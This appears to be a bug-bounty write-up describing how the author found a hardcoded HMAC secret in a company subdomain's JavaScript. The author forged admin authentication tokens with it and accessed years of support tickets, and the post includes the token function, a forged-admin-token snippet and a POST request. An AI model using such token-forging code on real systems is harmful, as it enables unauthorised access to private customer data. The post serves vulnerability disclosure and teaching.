After many late nights checking boring pages, I found a hidden corner of their site (a "subdomain" like dev.sub.company.com). I looked for words that hint at test areas, such as

dev
stg 
admin
dashboard
development
stagging
panel
test

At first, nothing exciting. The pages looked normal. But I dug deeper โ€” checking the "source code" (the hidden instructions that make the site work). I scanned comments, page elements, and especially JavaScript files. I noticed for the first time in my whole life that the JavaScript was not obfuscated. I was so happy and left my laptop to go make some tea.

Focus time:

I start with my lazy way (search for secrets and endpoints) with some keywords like

key
api
secret
test
user
password
passwd
token

I found an interested stuff but that got my attention is :

var tokenConstant = "IUNvbXBhbnlAMSE=";

I thought, "Is this junk or treasure?" I decoded it (turned the weird letters into normal ones) and got "Company@1!" โ€” basically the company name plus a special character. Not super secret, but suspicious.

The code was long โ€” over 2,000 lines โ€” so I read it carefully by hand. That's when I spotted the problem: The site creates "tokens" (like digital keys) right in your browser, using that exposed secret. This is risky because anyone can copy it and make their own keys to unlock private areas.

  1. The Key-Making Function:
function getSDToken(deviceId, userId, strDesc) {
    var dateConstant = Math.floor(new Date().getTime()/21600000);
    var sdTokenTemp = deviceId + "|" + userId + "|" + strDesc + "|" + dateConstant;
    var encoded = CryptoJS.HmacSHA256(sdTokenTemp, tokenConstant);
    return encoded.toString(CryptoJS.enc.Base64);
}
  • What it does: This creates a "sdToken" (security key) for logging into the system. It grabs the current time and rounds it down to chunks of 6 hours (that's what the math with 21600000 does โ€” it's just milliseconds in 6 hours).
  • Mixing ingredients: It combines your device ID (like a phone's unique number), user ID, a description (optional), and the time chunk, separated by "|" lines.
  • Securing it (but not really): It uses a tool called CryptoJS to "sign" this mix with the secret ("tokenConstant"). Then it turns it into a coded string.
  • The big flaw: Since the secret is right there in the public code, anyone can copy this recipe and make fake keys for any user or device. The server trusts these keys without double-checking.Token Usage in API Authentication Multiple API endpoints rely on these client-generated tokens for authentication:
// From checkForIssueUpdate API implementation
Request: {
   "transId": transactionId,
   "userId": "w01m64a39",
   "appType": "FTV", 
   "deviceId": "0564601A-E0E2-49EC-BC5F-2576296A8C4D",
   "sdToken": "generated_token_here"  // Vulnerable authentication mechanism
}
  • What it does: When the site talks to the server (like sending a message), it includes this sdToken. The server thinks, "Okay, this key looks real," and lets you in.
  • Easy to fake: The code even shows how to make an admin key:
const adminToken = exploitGetSDToken("admin-device", "admin", "");
 console.log("Administrative Token: " + adminToken);
  • You just plug in fake details, and voilร  โ€” a key for "admin" access.
  • Sending the fake message:
fetch('/v2/checkForIssueUpdate', {
     method: 'POST',
     headers: {'Content-Type': 'application/json'},
     body: JSON.stringify({ 
        userId: "admin", 
        deviceId": "admin-device",
         sdToken": adminToken,
         transId": "exploit-test-123",
         appType": "FTV"
     })
 });
  • What it does: This sends the fake key to the server. If it works, you can view, create, add notes to, or even close support tickets โ€” like customer complaints about services.
  • Why it's scary: All the ticket actions depend on this weak key. No extra checks mean anyone with the secret can control the whole system.

Wrote the exploit and got a full ticket through the last 3 years:

None

After a lot of sleepless nights, I got a good reward.

None